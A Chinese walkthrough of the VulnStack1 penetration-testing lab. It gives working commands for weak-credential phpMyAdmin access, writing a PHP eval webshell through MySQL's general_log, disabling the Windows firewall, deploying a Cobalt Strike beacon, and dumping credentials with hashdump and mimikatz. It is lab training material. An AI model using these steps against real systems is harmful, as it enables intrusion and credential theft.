内网渗透靶机:VulnStack1
VulnStack是红日安全团队出的一个内网渗透的靶机环境,想着通过靶场环境加深对 Cobalt Strike 和 Metasploit 的学习
靶机简介
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK 攻击链路进行搭建,开成完整闭环。后续也会搭建真实 APT 实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019
靶机下载地址:ATT&CK红队评估实战靶场
环境搭建
模拟外网:Vmnet1(192.168.52.0/24)
模拟内网:VMnet2(192.168.57.0/24)
- 攻击机:Kali2020
- IP:192.168.52.128
- Web服务器:Windows7
- 外网IP:192.168.52.143
- 内网IP:192.168.72.128
- 主机名:stu1
- 域成员主机:Windows Server 2003
- IP:192.168.72.141
- 主机名:root-tvi862ubeh
- 域控服务器:Windows Server 2008
- IP:192.168.72.138
- 主机名:owa
启动Web环境:打开Win7后,打开PhpStudy
外网渗透
信息收集
1.探测主机
netdiscover -i eth0 -r 192.168.52.0/24
2.查看目标主机开放端口
nmap -sV -p- 192.168.52.143
-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口
开放了80和3306端口,说明存在Web服务
3.查看网页收集相关信息
1.访问web页面,获取到phpMyadmin登录密码
访问Web服务是一个 phpStudy
探针页面,在这里可以获取到网站的绝对路径 C:/phpStudy/www/
最下面 MYSQL
数据库连接检测:输入弱密码 root/root
成功连接
或者使用phpMyadmin爆破工具也能得到用户名密码
2.扫描目录,获取到网站后台路径和登录用户和密码
扫描到数据库后台 PhpMyadmin
和备份文件 beifen.rar
,下载解压得到 yxcms
文件夹,是一个网站的源码,直接访问http://192.168.52.143/yxcms
,发现了网站有后台路径和管理员账户泄露
GetShell
1.phpMyadmin日志Getshell
前面信息收集第一步获得的phpMyadmin的用户名和密码,登录进去想办法获得shell
phpmyadmin后台getshell一般有以下几种方式:
- 1、select into outfile直接写入
- 2、开启全局日志getshell
- 3、使用慢查询日志getsehll
- 4、使用错误日志getshell
- 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
看看第一种是否可以,先查看是否有写权限:
show global variables like '%secure_file%';
secure_file_priv
值为 NULL
,不能使用 into outfile
方式写入 shell
再来看一下第二种,利用全局变量general_log
来Getshell
1.查看全局日志状态
show variables like '%general%';
2.开启日志,将所有查询语句记录到新指定的可访问的文件中
set global general_log=on;
3.设置全局日志的路径为网站目录
set global general_log_file = 'C:/phpStudy/WWW/jwt.php'
4.将一句话木马写入该日志文件
SELECT '<?php eval($_POST["cmd"]);?>'
成功连接蚁剑
2.后台修改前台模板Getshell
根据信息收集第三步中获得的后台路径/index.php?r=admin
和用户名:admin;密码:123456
登录进后台,然后发现前台模板有php文件编辑,可以直接写一句话木马进去获取shell
在刚才解压的文件夹下找到info.php的路径(/yxcms/protected/apps/default/view/default/info.php
)或者利用目录遍历找到路径,直接蚁剑连接
参考:
内网渗透
反弹shell给Cobalt Strike
1.CS创建Listener
通过 Cobalt Stike
→ Listeners
→ Add
创建一个监听器
2.生成后门文件
攻击
→生成后门
→ Windows Executable(S)
,监听器选择刚创建的 Listener
,输出选择Windows EXE
3.蚁剑上传后门
先关闭受害机防火墙
netsh advfirewall set allprofiles state off
再上传生成的exe
4.执行exe获得shell 直接输入exe 文件名执行 exe
获得Cobalt Strike 的 shell
主机上线 | 主机上线 |
---|---|
拿到 shell
第一步,调低心跳值,默认心跳为 60s
,执行命令的响应很慢,进入 beacon
执行 sleep 5
或者右键主机选择 会话
→Sleep
进行设置
主机信息收集
右键受害机选择进入 beacon
执行命令(执行cmd命令前面要加shell)
查询基本信息
shell whoami
shell hostname
net user # 本机用户列表
net localgroup administrators # 本机管理员[通常含有域用户]
shell systeminfo #查看系统详细信息
nslookup god.org # 解析域名IP地址
查询操作系统信息
shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文操作系统
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 中文操作系统
shell echo %PROCESSOR_ARCHITECTURE% # 查看系统系统结构
查询已安装的软件以及版本信息
# 使用wmic操作
shell wmic product get name,version
#使用powershell进行操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version"
查询进程及服务
shell tasklist # 默认显示映像名称,PID,会话名,会话,内存使用
shell tasklist /svc # 默认显示映像名称,PID,服务
shell wmic process list brief # 列出进程的核心信息,类似任务管理器
net statistics workstation # 查看主机开机时间
netstat -ano #查询端口列表
wmic qfe get caption,description,hotfixid,installedon #查询本机安装的补丁
域信息收集
基础命令
shell ipconfig /all # 查询本机IP段,所在域等
shell net user /domain # 查询域用户
shell net view # 查看域信息
shell net view /domain # 查看主域信息
shell net time /domain # 获取域服务器的时间
shell net group "domain computers" /domain #查看域内所有的主机名
shell net group "domain admins" /domain #查看域管理员
shell net group "domain controllers" /domain #查看域控
shell net config workstation # 查询当前登陆域及当前计算机名,全名,用户名,系统版本,工作站域
判断是否存在域控
使用 shell ipconfig /all
查看 DNS
服务器,发现 DNS 服务器名为 god.org
从域信息收集可以得到以下信息:
- 域:god.org
- 域内有三个用户:administrator、ligang、liukaifeng01
- 域内有三台主机:DEV1(不在此环境中)、ROOT-TVI862UBEH(192.168.52.141)、STU1(192.168.52.143)
- 域控:OWA(192.168.52.138)
- 域管理员:administrator
横向探测
凭据导出
凭据可以理解为目标机的账号,密码。凭据导出是渗透测试中极为重要的步骤,导出目标机凭据后,我们可以使用凭据实现横向移动(利用hash传递,smb/rdp爆破等等手法)来扩大我们的战果。
hashdump读内存密码
beacon> hashdump
或者
右键点击beacon会话→执行→转储Hash
Mimikatz导出凭据
利用 mimitakz
模块(实战中需要免杀处理),读注册表密码
beacon> logonpasswords
或者
右键点击主机→执行→Run Mimikatz
凭据存储
点击凭证信息
可以查看读取到的密码
环境崩了,后续操作暂时无法更新
参考:
相关文章
- 软件分享 | 第四期 Linux远程连接神器获取和安装
- PHP网页简单编写
- c++使用icu国际化(i18n)
- go-cqhttp(电脑机器人搭建)教程
- Linux|安装nginx改造升级版(Tengine)
- Linux用户管理命令
- Linux文件权限与归属
- Linux文件的特殊权限[SUID&SGID&SBIT]
- 在arm上编译php
- 《安富莱嵌入式周报》第296期:硬件电路实现SPI转以太网,单片机3D游戏图形引擎,Linux基金会年度报告,安捷伦直流电源原理图,KEIL C51更新9.61
- 《安富莱嵌入式周报》第297期:开源生物医学成像系统,可肺部成像,C算法合集500例,突出极致运算速度,数值方法书籍,芯片级激光隔离,3D打印机固件Marlin
- 深入浅出理解Linux thermal governor之IPA
- 基于ArgoCD的GitOps转型实战经验
- GitOps: Kubernetes CI/CD 的缺失环节
- Linux网络编程-TCP客户端如何获取要连接的服务端IP?
- 嵌入式Qt-表格使用测试
- PHP常见的几种数据结构
- php-fpm 是如何处理php 请求的
- [linux]执行pip安装的程序:command not found
- [linux]查看linux下端口占用